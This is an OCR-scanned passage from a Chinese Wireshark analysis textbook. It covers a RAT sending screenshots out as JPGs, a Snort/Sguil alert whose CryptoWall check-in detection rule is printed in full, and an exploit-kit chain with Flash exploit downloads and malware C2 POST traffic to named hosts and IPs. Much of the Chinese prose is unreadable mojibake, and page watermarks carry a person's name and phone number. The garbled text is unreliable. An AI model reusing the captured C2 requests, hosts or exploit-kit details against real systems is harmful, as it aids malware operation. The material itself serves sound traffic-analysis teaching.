..H..f....Q..f.I; .5. kn# i Qm Js I, e )k ')h €eencEacocoMa\

oo e o [ v
84 client pktis), 1 server pk(z). 1 turn(z).

Entire conversation (85 kB) & Show data as | ASCIT e Stream
Find: | | [ Findnext |

‘Hide this stream Print ‘ Save as... i ‘ Close Help ‘

B 12-26 -FkHE LA T 2F—/ PG LH69iF R

286 Wireshark iR G2 #rsEsL (58 3 AR
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FIXE, AT AR SRS, Bk KR aE RN TR A JPG
B MEEIERRE, ROTJFHENREPHERH — A4l ik, duh#
K% “CAPSCREEN” fix & #in] LLKHS IPG EURMfEHT. Sebr b, AEAT AR
{5 )% “CAPSCREEN” 74, &5 R#E—FEM . T BIERX e, A UEE
HNSERR, B N EA9H Wireshark [ 10 2 ThEE .

(1) &+ Statistics->10 Graphs.

(2) 155 DML pEss 3 lid N tep.streameq 2. tcep.streameq 3.
tcp.stream eq 4. tcp.stream eq 5l tcp.stream eq 6.

(3) *.i; Graph 1. Graph 2. Graph 3. Graph 4 f1 Graph 5 %414} 7 )5
FH AN I i 25 0 250805 A

(4) ¥ y 5 B Bytes/Ticko
12-27 R T 4R EG .

M Wireshark - 10 Graphs - ratinfected - [m] x
Wireshark I0 Graphs: ratinfected
105000 |-
— Allpackets
——— Stream 2
|
s0000 - Stream 4
—— Stream 5
| Stream &
—— Stream 3
75000 ‘
60000 - ‘
45000
30000 - |
15000 ‘
|
20 40 &0 80 100 120
Time (s)
No packers in interval (B85
Name Display filter Colo Style V Axis ¥ Field Smoothing
All packets | Packets/s N
Stream 2 tep.streameq 2 W Bytes/s No
Stream 3 tepistreameq 3 B tine Bytes/s Mone
Stream 4 tepstreameq 4 B tine Bytes/s N
Stream 5 tep.streameq 5 B e Bytes/s M
Stream 6 tep.streameq 6 [t Bytes/s [
+| || (= Mouse @ drags () zooms Interval |1sec hd [ Time of day [ Log scale Reset
Copy Close Help

12-27 BGHSTRHENEDNELT S K
ME12-27 KE, LTRSS TEEE S RSN REEE, FERIL T RFEZ R

F 125 RETEMBUEESHT 287
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WA, DAERATAT LIRSS, XAMESNEE T4 LK.

ST PG B NE, IRATAECAH T8k, FrelibIing — &2
émﬁ%ﬁ%mGI#o&ﬁuTi%ﬂuMWmmm$%mmGﬁﬁo

(D) 15, MR fdatr TCP kT EAL, 2 arkl 12-22 A iSO,

(2) IEEEH Sk, ATREE B FHE KSR LA N Eds . 15
NREEH Ak, B S Entire Conversation (85033 bytes). #ff
PRI ERE T, Wi 172.16.0.114:6643 ——> 172.16.0.111:4433
(85020 bytes) .

(3) 1EF Save As #HHIRAFETR, #ARY R4 &2 jpg.

RIAEIR—F, —E2RIWETET . FARITERTEHFM—2. MR
TEEE 8 M FTP Vi 4 e 8O A0RE, 1% B i B A 1 S8 2 Aa 3 i
T HANA S . XM T, TCP FAIRT P47 2 b E AR S & R8I —
4y, MAET IPG Hdl (WA 12-28). HIRAVRAEGRRA, X ELEIMIEL
PEBARTE T PR 558, M8 E Ik IPG SCIE LB 2] T Tkl 2 A M5
B, FHERRITITE A

M Wireshark - Follow TCP Stream (tcp.stream eq 2) - ratinfected - m] X
SH|556 A
CAPSCREEN|C: \NINDCMS\jpgevhook dat | 84972 Extraneous Data
...... JFIF..ceunnnn . .C

- .)10.)-,3:1>36F7,

@MAFLNRSRZ)ZaZP A0 = B s o &. .&05-500000000000000000000000000000000000000000000000000
e e

..................... oo oo oo Ll B o Phe o o i o olis of ElTe

..................... eV ) Bt e P #3R..br
.54,
SRR &' ()*56789: CDEFGHIJSTLNNXVchefghljstuvwxyz ..............................................
......................................... Slw MR.AL...%.1....0...yX...........K$!R//v.@b...3.8#p
s ) Y By .8#.q..q. cocald
....08. ....—..<a.....i. B #hr .TQ...u<.....D....K..."...A.e.)@..d..eRr.G?N.
.o} .E[v|D".a.3.q....7.nt..v.....0{..D. t .4I. .h.A..B.. (mS
B G R a?fn ..... YVZe@ J q. aRGf wB. Z .+ "( .B.N. tU 42R g EE T Al Py
$T LB...Y. .k*..f.k8.9C. o= P WJRu )]
............. Z..H..f....Q..f.I,......S..kn#<Qm .36. UJMI( )k ')h ceeEeenl..Mal\
$. D ’cy -[I..
- L o e e T e e et L SRt K ] S Toeo b oo v
84 client plefs), 0 server plt(s), 0 turnfs).
[172.16.0. 114:6643 — 172.16.0.111:4433 (85kB) | Show dataas [ASCHI ¥ Stream
Find: | | [ Findnext |
iHide this streami | Print ‘ ‘ Save as \ ‘ Close ‘ ‘ Help ‘

12-28 45 BAF AR D 3G A0 64 B LR 5 BOUM ik AT IT

288 Wireshark #{#EE S #rsLhk (58 3 hip)
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F 75 2 1 g 40 418 B X AN ) AR faf 2 . XA AR Y “ 0B R (File
carving). 7EE 12-29 1, FELH WinHex %7€ JPG SCAFRTH I —LE#75 . R
A LIS P AR AR 7 228 1) 2 60 45 0 A 3 26 545 - ORAT J S A

8 WinHex - [image2,jpg] - m} X
2 File Edit Search Navigation View Tools Specialist Options Window Help 191SR-1 - & x
- =15 | N A % | 5 2 O - 8
D S5 EBDED AALLER | e STedr & | SR
image2.jpg |
Offset 0O 1 2 3 4 5 6 7 8 9 A B C D E F 10 11 ANSTI ASCII ~

00000000 53 48 7C 35 35 36 OA 43 41 50 53 43 52 45 45 4E 7C 43 SH|556 CAPSCREEN|C
00000012 3A 5C 57 49 4E 44 4F 57 53 5C 6A 70 67 65 76 68 6F 6F :\WINDOWS\jpgevhoo
00000024 6B 2E 64 61 74 7C 38 34 39 37 32 OA FF D8 FF EO 00 10 k.dat|84972 y@ya

00000036 4A 46 49 46 00 01 01 00 00 01 00 01 00 00 FF DB 00 43 JFIF yu C
00000048 00 OD 09 OA OB OA 08 OD OB OA OB OF OE OD OF 13 20 15
0000005A 13 12 12 13 27 1C 1E 17 20 2E 29 31 30 2E 29 2D 2C 33 ' .)10.)-,3

0000006C 3A 4A 3E 33 36 46 37 2C 2D 40 57 41 46 4C 4E 52 53 52 :J>36F7,-@WAFLNRSR
0000007E 32 3E 5A 61 5A 50 60 4A 51 52 4F FF DB 00 43 01 OE OE 2>ZaZP'JQROyU C

00000090 OE 13 11 13 26 15 15 26 4F 35 2D 35 4F 4F 4F 4F 4F 4F & &05-5000000
000000A2 4F 4F 4F 4F 4F 4F 4F 4F AF 4F 4F 4F 4F 4F 4F 4F  4F 4F 000000000000000000
000000B4 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F  4F 4F 000000000000000000

& 12-29 #M% JPG M ¥ ey T h

PR ATFENE G, SCHRAZBEWAT T 7. RER, KRR ESE
3T EEE, JhkERIGEEE LE 12-30).

& 12-30 4444 IPG MR % EH T ENey FEHRABR

F 125 RETEMBUEESH 289
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RSP AN E R e, EEHEEE TCP SRR AR 1.

ZA R EEER, B AR IDS BRI, M
G ) MR D IR

(1) BB EMR SR ERIFFE.

(2) FEME 2R bR ST E R AR SEAE R R

(3) EARVUE, WEBGEREX “PWE” 3h 7 AT,
(4) f£ “PIng” itk E 2 BURME B, 1EH R .

124 JmiEADH TRk

fEfa— M, WATHBEF IDS — R E . RATKEE IR
RGP REDI L HE A, IO B AT A AT IR . AT A A o £
FITT g2 A5 i e 6 vh A B LS A

Snort ] Sguil & G HHAT 7 —IR IDS &%, Wik 12-31 Ao, Sguil 2T
S —ANER AN N B8 4 A AT R, AR T . R AL
PRI P S, RAAEZET RN R IRAATH T .

7 Sguil FHRLZ X TXREENEL. TN E DO SR 7520 ERS
B AUREFE S A YR AT E A TP Huhk. S, B, ARYEVLECH) IDS KRR
AR R FEAIF, AL R SE 192.168.122.145 1E4E 57T 184.170.149.44 ()
KHINB ARG AT, JMB RGN A 80, Him [ i@EH 5 HTTP #1{5 5k
REEK EMMERFEINEER TN, FEER, ZRG5—DNRIER
BEMPRRA R, JFAXTIARS, HOTHNEERD . XUGRGILHE R T
FRIRARER T B CyptoWall &S AR K AC A B, X EWE —/MZBER
PR AR AR R AE N R G .

Sguil #il] £ $2 4L 7 VT F A ) 1) 15 v @ AT B A £ 4 A, 5 0 00) AH D B 1
HHm O . BANEEER], Blils B A BCKAEEE 55, 5 Wireshark
&R S B RIE L. AR, Sguil (FRAL AN UL ) 295 £ 1)
SR, HERMNFEERANWBL. F—2, £ Wireshark i & 51X k5 &
FHRHELE, e S ERE, HFEFE NI @S, ZXERELE cryptowalld
c2.pcapng 1,

290 Wireshark ##EE 75 #rsLhk (58 3 ki)
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- SGUIL-0.9.0 - Connected To localhost 4+ -8 X
File Query Reports Sound: Off localhost L sanders UserID: 2 2017-02-16 22:04:58 GMT|
D SPort =
2.8 2016-07-1518:59:54  192.168.122.145 49357
=
¥ Show Packet Data ¥ Show Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ET TROJAN CryptoWall Check-in"; flow:established,to_server; urilen:<134; content:"="; offset:1; depth:1;
http_client_body; content:" MSIE "; fast_pattern; http_user_agent; content:"Accept|3a 20|*/*|0d 0a| Content-Type |3a 20| application/x-www-form-urlencoded | 0d
1 soreplay-os. 3 0a|"; depth:62; http_header; content:!"|0d 0a | Accept-"; nocase; http_header; content:!"Referer|3a|"; http_header; pcre:"/[\/=][a-z0-9{8 }$/U";
pcre:"/A[a-z]=[a-f0-9]{80,}$/P"; reference:md5,3c53c9f7ab: 5f91f9af; classtype:trojan-activity; sid:2018452; rev:15;)
2 soreplay-eth0 st /nsm/server_data/securityonion/rules/soreplay-eth0/downloaded.rules: Line 13680
3 soreplay-eth0 s¢
4 soreplay-eth0 s
o
5 soreplay-eth0 s | Source IP Dest IP Ver HL TOS len D Flags Offset TTL ChkSum
[192.168.122.145 [184.170.149.44 4 s o |a07 o b o o [12369
u A P R S F
Source Dest R R R C s 5 Y 1
Port Port 1 (1] G K H T N N Seq # Ack # Offset Res  Window  Urp ChkSum
40357 80 [ b b o s lo o o 61088
2A 2F 2A 0D OA 43 6F 6E 74 65 6E 74 2D 54 79 70 */*..Content-Typ =
65 3A 20 61 70 70 6C 69 63 61 74 69 6F 6E 2F 78 e: application/x
2D 77 77 77 2D 66 6F 72 6D 2D 75 72 6C 65 6E 63 -www-form-urlenc
6F 64 65 64 0D OA 43 6F 6E 6E 65 63 74 69 6F 6E oded. .Connection
3A 20 43 6C 6F 73 65 0D OA 43 6F 6E 74 65 6E 74 : Close..Content
2D 4C 65 6E 67 74 68 3A 20 31 33 31 0D 0A 55 73 -Length: 131..Us
65 72 2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 6C 6C er-Agent: Mozill
61 2F 34 2E 30 20 28 63 6F 6D 70 61 74 69 62 6C a/4.0 (compatibl
65 3B 20 4D 53 49 45 20 37 2E 30 3B 20 57 69 6E e; MSIE 7.0; Win
64 6F 77 73 20 4E 54 20 36 2E 31 3B 20 57 4F 57 dows NT 6.1; WOW
36 34 3B 20 54 72 69 64 65 6E 74 2F 37 2E 30 3B 64; Trident/7.0;
20 53 4C 43 43 32 3B 20 2E 4E 45 54 20 43 4C 52 SLCC2; .NET CLR
20 32 2E 30 2E 35 30 37 32 37 3B 20 2E 4E 45 54 2.0.50727; .NET
20 43 4C 52 20 33 2E 35 2E 33 30 37 32 39 3B 20 CLR 3.5.30729;
2E 4E 45 54 20 43 4C 52 20 33 2E 30 2E 33 30 37 .NET CLR 3.0.307
32 39 3B 20 4D 65 64 69 61 20 43 65 6E 74 65 72 29; Media Center
20 50 43 20 36 2E 30 29 OD OA 48 6F 73 74 3A 20 PC 6.0)..Host:
68 6F 6D 65 61 6C 6C 64 61 79 6C 6F 6E 67 2E 63 homealldaylong.c
6F 6D OD OA 43 61 63 68 65 2D 43 6F 6E 74 72 6F om. .Cache-Contro I
¥ 6C 3A 20 GF AF 2D 63 A1 63 AR 65 OD DA OD DA 1: no-cache....
Update Interval (secs): v [ Search Packet Payload | © Hex @ Text [ NoCase
% —k X, 5
B 12-31 IDS &% &8 —K CryptoWall 4

AR SR T 2 B (B R ol E Il e, BRI AR KRR k. H—
ReE M ITERR AL 1~16 1, BATATLAERER SRR TCP it (WK 12-32) LA
FFEE. AP CERTITk, ARG E T T R EHL 80 i [/ TCP &
¥, ZJEA— URL @K T —&X POST ik, ERA&DENA LT 58T
MEHE@® . (EIERIEFBOTET, BEENEE T —A b S H R 74
t @1 HTTP 200 OK Fi W AL,

U EIEL SCAF R AR 43, AR e RILCA_E PP HIfEIX SE R 55 4 2 A
WL, BAEREEEA Z . WEITIEZRMN http. request .method ==
"POST", HEIHIL T 3 KL URL M iidse (MK 12-33).

THRIUHS S (76N1Lm.php) fREF—2, (HER NN Bk 2%
MSHAEAR) AR5, XAEE @G T HIE RSN, 5% w4
Az (C2) TN HFFEIE IDS HFZAR R UCECHEN o /R AT PALERAT 1Y
Cyrpto W 5T Crypto Tracker & Bl —ANRAAE] 7, Mt — P iZ5E.
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‘ Wireshark . Follow TCP Stream (tcp.stream eq 0) - cryptowalld_c2 - ] X

POST /76N1Lm.php?n=x4tk7t4jo6 HTTP/1.1 @

Accept: */*

Content-Type: application/x-www-form-urlencoded

Connection: Close

Content-Length: 131

User-Agent: Mozilla/4.@ (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.@; SLCC2; .NET CLR
2.9.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.9)

Host: homealldaylong.com

Cache-Control: no-cache

0=6b787638683333616b6431668T052393c1a354ad6e57d984568037ecebfe36@e70cade211cdc@f5cf1ba65484cf6726@5
493877069bbcc6b7eae8681985814e8HTTP/1.1 200 0K e

Date: Mon, @4 Jan 2016 16:26:38 GMT

Server: Apache/2.2.31 (Unix) mod_ss1/2.2.31 OpenSSL/1.0.le-fips mod_bwlimited/1.4 mod_qos/11.5
X-Powered-By: PHP/5.4.45

Connection: close

Transfer-Encoding: chunked

Content-Type: text/html

E
1663bd@c2ddbcc @
[}

3 dlient pkefs), 2 server pkysl 1 wmis).
‘Enﬁre conversation (772 bytes) 7 ‘ Show data as | ASCIT 7 Stream
Find: | | [ Findnext |

‘Hide this stream‘ ‘ Print ‘ Save as... ‘ ‘ Close ‘ ‘ Help ‘

12-32  V&4F Gl it HTTP £ /R4 B ) 1:#r

No.

t

Time
6 ©.491136
22 15.545562
152 41.886948

Source Destination Protocol  Info

192.168.122.145 184.176.149.44 HTTP POST /76N1Lm.php?n=x4tk7t4jo6 HTTP/1.1 (application/x-www-form-urlencoded)
192.168.122.145 184.170.149.44 HTTP POST /76N1Lm.php?g=9m822y311xud7aj HTTP/1.1 (application/x-www-form-urlencoded)
192.168.122.145 184.170.149.44 HTTP POST /76N1Lm.php?i=ttfkjb668038k1z HTTP/1.1 (application/x-www-form-urlencoded)

%] 12-33 URL ZM BT, FREGHIBRLEZEZR -G

BEAR 28 mf e A 13T C2 815, JAT B R IR R It
TFE AL RGNS . 2R B 54 CryptoLocker RSB REATR, IXHFE 45
TEICNEE, FOVRIOE G 2wl B Bl BRAERD D SO maisie,
BTG #F A SR AR P — X G BRI R A . B At
B AN RAE AR P IRHEVER A EIS R, KR L NG
Ja SR TUA 2R

WH, N ARG AL, AR SR A A0 S AR IR
AR Z R, B4R RT B 2 R B HLA B 2% R A AL Ji IR 4 3 A )
B, BT R B T E . BRI, 8 G T RS R A AR

T ERERBIER THUEGIIR 1 C2 P fER M T % M A S i
W2, AR I S E O LN B LR W R SdE , T BUED .
Bevs, AR HUAEE A T RS Se B et . Bl B I I I A7 i LR

292 Wireshark ##EE S #rsLik (58 3 hip)
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e &E, ERHE RN C2 AT AT, BURA TR MR . IXER
HHPETE ek_to _cryptowalld.pcapng .

XA A 2 R, FrigidR a2 HTTP mEHE. &
MEATHT HITP R TN, BELRMIANES, BEEEANN
http.request, X &H HTTP 1K k4 RER 7 11 KN EHLR K HTTP
THR (LA 12-34).

No.

Time Source Destination Protocol  Info
4 ©.534405  192.168.122.145 113.20.11.49 HTTP GET /index.php/services HTTP/1.1
35 5.265859 192.168.122.145 45.32.238.202 HTTP GET /contrary/1653873/quite-someone-visitor-nonsense-tonight-sweet-await-gigantic-dance-third HTTP/1.1
39 6.109508 192.168.122.145 45.32.238.202 HTTP GET /occasional/bXJkeHF1YXhmaA HTTP/1.1
123 9.126714  192.168.122.145  45.32.238.202 HTTP  GET /goodness/1854996/earnest-fantastic-t gl grotesque-forth ken-fountain HTTP/1.1

130 14.020289 192.168.122.145  45.32.238.202 HTTP  GET /observation/enVjZ2dtcnpz HTTP/1.1

441 30.245463 192.168.122.145  213.186.33.18 HTTP  POST /VOEHSQ.php?v=x4tk7t4jo6 HTTP/1.1 (application/x-www-form-urlencoded)

456 41.772768 192.168.122.145  184.170.149.44  HTTP  POST /76N1iLm.php2n=x4tk7t4jo6 HTTP/1.1 (application/x-www-form-urlencoded)

472 45.628284 192.168.122.145  213.186.33.18 HTTP  POST /VOEHSQ.php?w=9m822y31lxud7aj HTTP/1.1 (application/x-www-form-urlencoded)
487 56.827194 192.168.122.145  184.170.149.44  HTTP  POST /76N1Lm.php2g=9m822y31lxud7aj HTTP/1.1 (application/x-www-form-urlencoded)
619 71.971402 192.168.122.145  213.186.33.18 HTTP  POST /VOEHSQ.php?h=ttfkjb668038kiz HTTP/1.1 (application/x-www-form-urlencoded)
634 83.168580 192.168.122.145  184.170.149.44  HTTP  POST /76N1Lm.php?i=ttfkjb668038klz HTTP/1.1 (application/x-www-form-urlencoded)

12-34 11 AN AR EAL ALY HTTP #F K

NG R BN 192.168.122.145 KA RFANEE EHNL 113.20.11.49.
HEEHIEAN HTTP #4> (LK 12-35), HATERIHAIER T — P 1RO, 7
A Bing &R IXAMHESE RO . B HFT NI, Bk —VIEH.

M Wireshark - Packet 4 . ek_to_cryptowall4 - [m] X

Cvvwvy

Frame 4: 488 bytes on wire (3984 bits), 488 bytes captured (3904 bits) on interface @

Ethernet II, Src: Dell e2:4b:86 (80:22:19:e2:4b:86), Dst: CiscoInc_cb:83:4a (00:06:c1:cb:83:4a)

Internet Protocol Version 4, Src: 192.168.122.145, Dst: 113.20.11.49

Transmission Control Protocol, Src Port: 49314 (49314), Dst Port: 80 (80), Seq: 4203943695, Ack: 3947361356, Len: 434

@ Referer: http://wew.bing.com/searchq=sydneygroup. com.audqs=n&f: 8pq=sydneygroup.com. audsc=1-208sp=-18sk=8cvid=BOCOA2B7ACIS4FIA87AS260981E0274C \F\n

3 e es HT 1
Accept: text/html, application/xhtmlixml, */*\r\n

Accept-Language: en-US\r\n

User-Agent: Mozilla/5.@ (Windows NT 6.1; WOW64; Trident/7.@; rv:11.0) like Gecko\r\n
Accept-Encoding: gzip, deflate\r\n

Host: www.sydneygroup. com.au\r\n

DNT: 1\r\n

Connection: Keep-Alive\r\n

\r\n

Full request URI: http://www.sydneygroup.com.au/index.php/services

[HTTP request 1/1]

Response in frame: 27

No.: 4 - Time: 0.534405 * Source: 192.168.122.145 - Destination: 113.20.11.49 * Protocol: HTTP * Info: GET /index. php/services HTTR/1.1

12-35 —k & 4E AR 4ndPEE ALY HTTP 35 R

BNk, WEBENAERIRA 35, 39, 123 1130 FARIET 4 NMaH—4 ok
MR AL 45.32.238.202 FTE R 75 HTF 15 IR ERAT T ARSI, 4
Ty 0] R DL AL A N 2 5 B = 5 IR Ss 4 B g, ARk iR 25 2% LA
[ EALREL A 2R 1R WL . ARG KK URL kA B =L, H2IXME K
KB FEAL N .
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MEHEE 39 FF ) GET iR ITHE, B IT IR SR . IREEX RS H ) TCP
WO 12-36), IRERBAFENIER T 4N bXIkeHFIY XhmaA 34O,
XA A R AR, I B ST R4

M Wireshark - Follow TCP Stream (tcp.stream eq 1) - ek_to_cryptowall4 — [m} X

GET /occasional/bXJkeHF1YXhmaA HTTP/1.1 @

Accept: */*

Accept-Language: en-US

Referer: http://xktzjm.topcentc.top/contrary/1653873/quite-someone-visitor-nonsense-tonight-sweet-await-gigantic-
dance-third

x-flash-version: 19,8,8,245

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.@ (Windows NT 6.1; WOW64; Trident/7.8; rv:11.8) like Gecko
Host: xktzjm.topcentc.top

DNT: 1

Connection: Keep-Alive

HTTP/1.1 208 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Mon, @4 Jan 2816 16:25:58 GMT
Content-Type: application/x-shockwave-flash @
Transfer-Encoding: chunked

Connection: keep-alive

1f6a

ws. ...u\...>..,,...K.tw.t7..:l.

] VQNT 3PL$....B~.g... a3 s uo. o .. co.F.. [@c...T-42YU. . _-OLe.. .T..VD.. EEGEE—— d..

4.. sociklls C .M.ek. fnR Uz N - quk..]B.}.@O EATE T 1 [ -R.>. h Bt PP | ISP PO [
{v.y..s..k..6. mk oS ooooaHhoo [.,ow.K ......... :th.d=1.Y~Mm.&.E../t., a%Ll d I-bg. [|>12....;:..H].‘..,.{ ..... q
ee-.Mz=}6 &.|./uz......8.. .2.9.....FK ]z

..| .|...._......50d ....... o7 v.
e o R fooco oo Tl ST o o oS o oite oo “b]....vM..cN]] e By
2T | e e e e Foolloocoooo ool fhalllbac= Itz LS Fooocoonono <z...&.VR]. [XP‘ [.U.0.]PQZ. v

7 cliant pkefs), 67 server phefs) 5 wm(3).
‘Enﬂre conversation (88 kB) hd ‘ Show data as | ASCIL v | Stream

Find: | | [ Findnext |

‘Hide this stream | 3 Print ‘ ‘ Saveas.. | Close ‘ 1 Help 1

& 12-36 —/~ & AR 1249 Flash XA T &

EEMB AR E S, FRATE 2] Web 5 24K U M 25 IR 54 x-shockwave-
flash@K 7Y . Flash /23 FIRAT R BEAALE 1 . 508 N4 Flash N AR IEH,
HRESE R M2, Flash HTHRZ BT RAMZE, JFH, Flash &%
AMEXNT . BEJ5, Flash SCERBE AT 2.

Flash S TG, FEEEREL 130 A —MRUENIER—1F R — N FRa R
30 BRERIXAS TCP i (WL 12-37), TREERNER IS4 A enViZ2dtenpz@ .
XA SRR BN A A R A AR B B IR 5 25 R0 . XAME SR BRSSP i
TET —/NR/NA 358400 T 1 0 BRSO .

B N EGE R R AR 20s, RSB FIFER 12-34 PHBLEH)— £ HTTP
THR . IR AL 441 TFUG, P EBARSS &5 0] P S AN R il 554 AR AH TR Y C2 #% 2

294 Wireshark iR B2 HrsEsE (58 3 AR
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HTTP POST 153K o FATATREAIL 7RSI o T EATPIAS SO 2 T A S A
AR 39 HPIE RIS — AN SO —A Flash I FI T, 7E8HRE 130 Hif
R A RB R AT

M Wireshark - Follow TCP Stream (tcp.stream eq 3) - ek_to_cryptowall4 - O X
GET /observation/enVjZ2dtcnpz HTTP/1.1 @ A
Connection: Keep-Alive
Accept: */*

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.@; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET
CLR 3.0.30729; Media Center PC 6.8; rv:11.8) like Gecko
Host: xktzjm.topcentc.top

HTTP/1.1 288 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Mon, @4 Jan 2816 16:26:86 GMT
Content-Type: application/octet-stream
Content-Length: 358400 @

Connection: keep-alive

Last-Modified: Mon, @4 Jan 2816 15:56:19 GMT
ETag: "568a9623-57300"

Accept-Ranges: bytes

B SO P -1 TR TR B T O U 350 'S SN - SRS - RN SN PR | MU S N .

D e 2 o O e ) e ey £ S ) o I ey

Dol boGHoOEHOBaE T O o o ol o S e )0 AP o e 9 P U X/ T ] i Y o K o

Sl v
1 dlient phefs), 263 server phefs), 1 tunfs).

Entire conversation (358 kB) hd ‘ Show data as | ASCII = Stream

Find: | [ Findnext |
‘Hide this sheam‘ ‘ Print ‘ ‘ Save as... ‘ ‘ Close Help ‘
12-37 7 —ANLHRF AR TR, H XL RR5)
pa = IRTTAL A BRI ATHA, AR ZHIE T @0 AT AT, 4o

Rt & B3 6) TAZRSEAR, &MEH Michael Sikorski #= Andrew Honig #9 (%
FRAGHATF KN (2012), % —A No Starch Press 8945, 2 EMNAR IR HZ—.

AN AR T B WSE R R AR —. AP EX M TR, 3%
AN T — MR TR TR T 0% & e A R R s . X e TR AR
RYLERP s, JFH A& RER P imfa8Us BThRe, DUfE & 5 b7 25 IR .
BB DU ORI R T HAERRTT, e R B iR, R4S TR i -
RGUTAERIIRI, 5 P 05 b 8008 ) 28 5 — /N 2 A 5 s I R P 2 P s

PRIIA & B EEE B IE T Angler JRIRAIH THA, HATEEE 2015 41
2016 T WL T BAL . MFH P U5 i — M Angler B[ kRS, it T B A4
HEH P R G R B AEAE— M E 1K) Flash I . 5, F P N & —A Flash ¥,

F 125 RETEMBUEESH 295
B4bitXKensuke(18319066421) = {SEELRIY



H P Ry, FH PR EEE A0
TR & 12-38 s
EM Mk

EWBEE
113.20.11.49

@,

CryptoWall =M H 2. BA

i

1. APiRFEIER,

[BRHANFSRIML 2 APHEEAERANATAAERT. page.

Y . 3G HIETFoshiERR AR
S rth%ﬁTﬁ#&%Gwmww%ﬁﬁﬁo ~{ﬁﬁ9
- -

192.168.122.145 l

Exploit Kit Server
5. BERHMaSE 45.32.238.202
HIRR S ERAE S .

CryptoWall C2RR %585
184.170.149.44
213.186.33.18

& 12-38 FiAAA LA RIS

125 7hgh

FEAE, FATHHE 7 e 2 MR st T R A 3R 2 L
B HREAR AN IDS AR AT N 2. XN E LTS — A4, mRATA 25
D P MO ESE 1T v i Ny LN L Sl 1N & o 5 NN e R S
RGBT, DL — BRAEREF G A5 R
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GG R AAR L, TCLR AR o LR . A
FATUIALE LTS TCPL TP 23 WA M, (H 24 3
OSI MIRIBRRER, Wk RET — Mk, EiXE, 0
K FRAMGREENAR B, SR EES N E
N B A BA A KRN T R

H R BRI R 2, AR A T — e
K T2 I % R SR R AT . A S TRA T
0 T 5 P 0 B A ST PR LB B, DA B T T RO S PR . 244k, 3R
174305 4 T 25 P9 4 4 S 91 SR 4T

13.1 PP
TETCLh W 2 B R AL G, B2 R B RA . BIE A

B4t X Kensuke(18319066421) B2 jEEELRIN



13.1.1

]

NIk, BATEEAHZEMEE, FOENT— BB RLS FEE. IR
AT WL RS, AE e AR 5L K.

M MNTCLR R (Wireless Local Area Network, WLAN) 3=,
TR SIS T IR 2R R L= A . AMER LM B % P i A e H Or)
W2 B 4L, TEEEAE A 2 2% P i 1 38 54> WLAN K5 H
802.11 A — 730 IX FOVF A — AN 3 23 8] 1K 22 > R GeAE AT AN 7] 938 7 gk
ITEAE

T W% KR £ E & T Aod {, L4274 (Institute of Electrical and
Electronics Engineers, IEEE) FF & 69 802.11 Ar/f. BEZHAH “LLANL”
“WLAN” 3 KiZ 348 802.11 AR/ F 69 M 4.

A0 _E 7 B Rl R E R o A FEE S . —MEE R 802.11
TG —HB 7y o FESEHE, A 11 METE R O L 5 AV T E 2 5D .
KRB E, B WLAN A A Bt — MG, e ks BT R R A i i
HW—AMEIE, W 13-1 fos. Frll, inRIREAFEIE 6 ) WLAN, #LLZiHs
RGN B A IREE 6 AR .

- 1 -

- 2 -

-¢ 3 >

-¢ 4 >
- 5 > ((( >>>

-4 6 >

(— 4 -
FE P - o . TEHENR
— (11158

- 10 >

- 1 -

FLkITite

B 13-1 RIRT KM LR, B A B —i o) R — A2

298 Wireshark HIEE 2 H7sEek (58 3 hR)
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AE G KRR R AR BT AL B —AME 38, 2 —ANpsh: R LKAk m
AL FAER BRI HAR, TOARBR KT B FIZEARETE S 44E, P —A
ARRATE) T B2 Kismet TTABABLEE 10 AMEE, A g2 if 2 M,

il

13.1.2

A HABRR TS S, ToLB A5 AN REORIE < & 1 Bt 2 e B
LM EAT —E I PTTIRRRE, (EIFASE TS, DIk, M TEL M3 EL
Pa i, VRBAE R LG, SR K TI0IE, e KR S, K
WEREYIAR . R 2.4GHz E#E R JERR, DALGRE RIS . X LT e
SEAWEEER . ER AR EEE IR

[ R 30 B 25 FRAR T () TP BARIA — I 2] R BEmR —MEE, (HikRH
SN s RG> N 2 AR AR R, (H OIS A AR
FTUMEIERA RS, WA 13-2 Pron. ZXEWE, MR(EIE 4 F(E1E 5 B
Ve, A BRI R —AMEE LR, Sl3RE 7 —MEE LR .
A AP E A 1. 6 A1 11 X 3 MAESEFE, B
LAURTTREAS B RRXA [, HUART /T —, RIS % 7RI B A%,

FBHILIZE (GHz)

......
.

2.402 GHz : : 2.483 GHz

E 132 wFMEgETAAIR, FEXAFEE

13.1.3
TELR A5 5 TR0 i BN 2 7 Wireshark W SR 5CHE A5 BB AR DR 1) o G0 SRS
T 4E WLAN, HB2 5 2% € WIS 5 TPt . KR LU BE 20 #r 45 K 52 B
(SIS Ty e U E I a7
R A BT g ks 53 5, Ak EL A ik BT 56T, (T HE AR A
U7 % MetaGeek JFA 1 — MU Wi-Spy f7 8, X2 —4> USB filfiffix#%,

F13E FTEMEHFEEST 299
S5t K Kensuke(18319066421) = SR EIRIN



FF 15 I0%EAS 802.11 Atk L1 F4t. 5 MetaGeek ] Chanalyzer # /LG, X
AN AT L A, A B TR T2 2% (1 A .- Chanalyzer 171514
Hani 13-3 fios.

[ 13-3 XA~ Chanalyzer 2 7 F —#u.54 % 4~ WLAN /£ T4

132 Jogk- Rk

TEFFURMRERTC LR B 2 7, FRATTR L 1 i o4 X R A [A) TAERE .

TeE M~ —4G 4 Fh TAER.

WEEENX (Managed mode) : R LLE 7 i ELIE 5 LA A
(Wireless Access Point, WAP) &E#H}, min] PAMEAHIX MR, EXAEAF,
To4 W R IR BN FE 7K WAP & BEEANE 5 2

Ad-hoc FE3,: 24 VRN 4% £h ELAH BLE W8 AL, sl ml DU A I M R
FEIXRAME A, ToZkimA s U7 L [F A& WAP FIER 5T .

FER (Master mode): — L LLR R IA S FF R . XM T
To 28 WX = A5 R (0 SR B RE 3 AV AR A, AR A B 4% 1) WAP.

Wir#EX (Monitor mode) : AN AR H, K& PMEHEEMH K. 4
PR BT LR % 7w IbUSOR B, &0 WS 2 S AR B e, it ] DA A
